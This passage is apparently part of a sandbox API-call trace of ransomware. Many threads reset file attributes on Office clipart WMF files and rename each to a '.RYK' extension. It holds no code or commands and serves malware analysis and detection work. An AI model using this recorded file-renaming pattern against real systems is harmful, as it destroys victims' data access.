	[0234.077] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00234_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0234.157] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0234.157] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00234_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00234_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1484
	os_tid = 0x1d38

	[0233.943] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00255_.WMF", dwFileAttributes=0x80) returned 0
	[0234.077] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00255_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00255_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0234.155] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0234.155] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00255_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00255_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00255_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00255_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1485
	os_tid = 0x1d3c

	[0233.944] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00256_.WMF", dwFileAttributes=0x80) returned 0
	[0234.078] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00256_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00256_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0234.154] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0234.154] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00256_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00256_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00256_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00256_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1486
	os_tid = 0x1d40

	[0233.946] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00261_.WMF", dwFileAttributes=0x80) returned 0
	[0234.078] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00261_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00261_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0234.152] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0234.152] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00261_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00261_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00261_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00261_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1487
	os_tid = 0x1d44

	[0233.947] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00297_.WMF", dwFileAttributes=0x80) returned 0
	[0234.079] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00297_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0234.151] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0234.151] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00297_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00297_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00297_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1488
	os_tid = 0x1d48

	[0234.081] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF", dwFileAttributes=0x80) returned 0
	[0234.215] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00372_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0234.215] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0234.216] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00372_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00372_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1489
	os_tid = 0x1d4c

	[0234.082] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00405_.WMF", dwFileAttributes=0x80) returned 0
	[0234.148] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00405_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00405_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0234.148] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0234.149] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00405_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00405_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00405_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00405_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1490
	os_tid = 0x1d50

	[0234.082] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00407_.WMF", dwFileAttributes=0x80) returned 0
	[0234.147] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00407_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00407_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0234.147] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0234.147] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00407_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00407_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00407_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00407_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1491
	os_tid = 0x1d54

	[0234.082] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00413_.WMF", dwFileAttributes=0x80) returned 0
	[0234.145] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00413_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00413_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0234.146] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0234.146] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00413_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00413_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00413_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00413_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1492
	os_tid = 0x1d58

	[0234.083] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF", dwFileAttributes=0x80) returned 0
	[0234.215] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00414_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0234.274] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0234.274] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00414_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00414_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1493
	os_tid = 0x1d5c

	[0234.083] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00419_.WMF", dwFileAttributes=0x80) returned 0
	[0234.214] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00419_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0234.276] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0234.276] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00419_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00419_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00419_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1494
	os_tid = 0x1d60

	[0234.085] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00437_.WMF", dwFileAttributes=0x80) returned 0
	[0234.214] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00437_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00437_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0234.277] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0234.277] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00437_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00437_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00437_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00437_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1495
	os_tid = 0x1d64

	[0234.085] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00448_.WMF", dwFileAttributes=0x80) returned 0
	[0234.213] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00448_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00448_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0234.279] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0234.279] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00448_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00448_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00448_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00448_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1496
	os_tid = 0x1d68

	[0234.086] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00449_.WMF", dwFileAttributes=0x80) returned 0
	[0234.212] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00449_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00449_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0234.280] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0234.280] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00449_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00449_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00449_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00449_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1497
	os_tid = 0x1d6c

	[0234.086] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00687_.WMF", dwFileAttributes=0x80) returned 0
	[0234.212] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00687_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00687_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0234.281] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0234.281] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00687_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00687_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00687_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00687_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1498
	os_tid = 0x1d70

	[0234.129] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00705_.WMF", dwFileAttributes=0x80) returned 0
	[0234.209] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00705_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00705_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0234.285] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0234.285] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00705_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00705_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00705_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00705_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1499
	os_tid = 0x1d74

	[0234.130] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF", dwFileAttributes=0x80) returned 0
	[0234.210] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01015_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0234.284] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0234.284] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01015_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01015_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1500
	os_tid = 0x1d78

	[0234.131] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01039_.WMF", dwFileAttributes=0x80) returned 0
	[0234.210] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01039_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01039_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0234.282] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0234.283] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01039_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01039_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01039_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01039_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1501
	os_tid = 0x1d7c

	[0234.170] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01138_.WMF", dwFileAttributes=0x80) returned 0
	[0234.301] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01138_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01138_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0234.302] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0234.302] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01138_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01138_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01138_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01138_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1502
	os_tid = 0x1d80

	[0234.170] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01139_.WMF", dwFileAttributes=0x80) returned 0
	[0234.320] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01139_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01139_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0234.320] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0234.320] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01139_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01139_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01139_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01139_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1503
	os_tid = 0x1d84

	[0234.171] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF", dwFileAttributes=0x80) returned 0
	[0234.319] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01140_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0234.327] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0234.327] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01140_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01140_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1504
	os_tid = 0x1d88

	[0234.171] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01143_.WMF", dwFileAttributes=0x80) returned 0
	[0234.319] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01143_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01143_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0234.328] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0234.328] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01143_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01143_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01143_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01143_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1505
	os_tid = 0x1d8c

	[0234.172] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF", dwFileAttributes=0x80) returned 0
	[0234.318] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01145_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0234.330] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0234.330] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01145_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01145_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1506
	os_tid = 0x1d90

	[0234.172] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01146_.WMF", dwFileAttributes=0x80) returned 0
	[0234.318] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01146_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01146_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0234.331] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0234.331] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01146_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01146_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01146_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01146_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1507
	os_tid = 0x1d94

	[0234.173] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01151_.WMF", dwFileAttributes=0x80) returned 0
	[0234.317] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01151_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01151_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0234.332] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0234.333] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01151_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01151_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01151_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01151_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1508
	os_tid = 0x1d98

	[0234.173] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF", dwFileAttributes=0x80) returned 0
	[0234.317] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01152_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0234.334] CloseHandle (hObject=0xffffffffffffffff) returned 0
